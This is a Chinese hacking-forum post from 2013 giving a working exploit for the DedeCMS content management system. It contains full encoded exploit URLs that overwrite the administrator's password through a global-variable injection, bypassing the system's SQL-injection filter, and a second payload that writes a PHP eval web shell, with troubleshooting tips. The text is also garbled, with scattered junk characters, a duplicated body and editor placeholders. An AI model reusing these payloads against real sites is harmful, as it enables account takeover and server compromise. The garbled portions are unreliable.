找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2700|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。% m% u9 V; k0 X' {; g: s
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
# [* `3 @" @: N  `2 E/ z起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
" j! f6 z) m) N' d$ c) qinclude/dedesql.class.php5 r" r2 i8 z, H1 n5 e
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
* J- v2 P+ K2 _  s1 R- ^# I$ p, q同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2$ R" G" E, E, n5 ~" ^0 Q, f3 N! B
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。& _1 W6 E' K6 A1 \  {7 B- y
plus/download.php
6 t1 v; D2 o5 Delse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):8 r" o1 |; o% i9 _) A8 q
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
% x1 f+ k0 m2 zUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:. q9 M6 N6 g9 P# Q/ L
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
! A6 [+ P2 y3 O- l# x6 `漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。& f! t- z- _6 U! b( b/ \
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
3 e2 S3 F" u% l3 S5 T8 h5 u2 o( tUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。/ J3 D* B: X' M# M9 Q5 \! T3 G
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
. G, E: k6 N. L& N( X起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
5 I0 X7 m" p+ U# f, H" e* rinclude/dedesql.class.php
4 |$ w* |9 Z# t9 n; Sif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
4 v- X0 I. D* O5 D; w同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
5 e( G& z3 {# e9 W) j! |而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
& {  q8 Y& D: G, Q: B+ oplus/download.php
: M; h. h  N# H- Jelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
7 V1 }& a6 l! ]  F2 A3 {5 y: K. ]. madmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
- S9 t/ p, }* k/ H( L  BUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:& P3 |; [' H( H: z6 Z. a
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
5 D: R5 F0 l% H3 D( @5 \& h漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
# X2 D" _( m5 d8 X# h" Y如果找不到后台,参见以前修改数据库直接拿SHELL的方法
3 ~+ {" O% J* j7 ^% ]___FCKpd___6getshell:
' b* Y2 G$ m; F7 |http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m) l; ]8 d( D7 u4 q. |
http://127.0.0.1/plus/x.php. p! k1 C9 x% d2 O- y
update成功后还要访问下 /plus/mytag_js.php?aid=1- }' Y" M( V2 _
失败原因:
; v8 q$ T" l% ?9 V  F1 k测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
+ Z5 C% I5 Z& x% b2 {) V配图:+ A/ s' _5 Y& P% L& h
1.查看dede当前版本
+ L/ A9 ]5 b' h( f; q7 D' M; l! }7 D2 e# ^5 f$ ^
2.执行exp" f+ _* m  V$ v) o( e( ~
1 i2 J2 {- A" Q5 r& D& s, @7 R" e; `
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
9 m- Y8 J  F) ^* n9 }2 F. b& S( x0 J/ \, t8 b) a
spider密码admin
6 o6 l- y  s' A+ ?& l& y
$ X" |  ?$ m" Y9 T5 ~http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png% R% _* B. d. U/ N/ w
原作者:imspider
' m: I) o2 D, v& W
; I5 g! p! p% }! L本博客测试+配图+getshell# x: [5 d$ t2 \% E7 ?
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT . ?- G  u/ B# {  d% ]& Q4 ^+ j

: O* w) H' z  o% S7 z( l& m" Fgetshell:, z8 @+ M5 [* A0 q/ N% t
___FCKpd___7会在plus目录生成 x.php 密码 m
' h; H$ Y# R. }$ H1 mhttp://127.0.0.1/plus/x.php$ J5 h6 T7 w$ ?# ]$ G1 d
update成功后还要访问下 /plus/mytag_js.php?aid=1
6 ]) v/ }8 o6 z1 [失败原因:& q3 t" S! ^( w: x
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)! x% x0 D. D+ w2 W
配图:
6 b; f% z: S% D8 T6 h1.查看dede当前版本# g2 Z0 n& C, N2 ]
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
' ^- C2 |; I' O+ ?8 A2.执行exp4 T5 u: V$ ~6 t. u' L$ Q( g' ?
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
1 Q0 l/ F+ {1 {+ m! Jspider密码admin& E, \& \; U- Q) z
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
0 v) m! h, g( L- S0 f0 t% E 8 W' v) Z1 R. ^9 v# i2 M5 V  T" N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表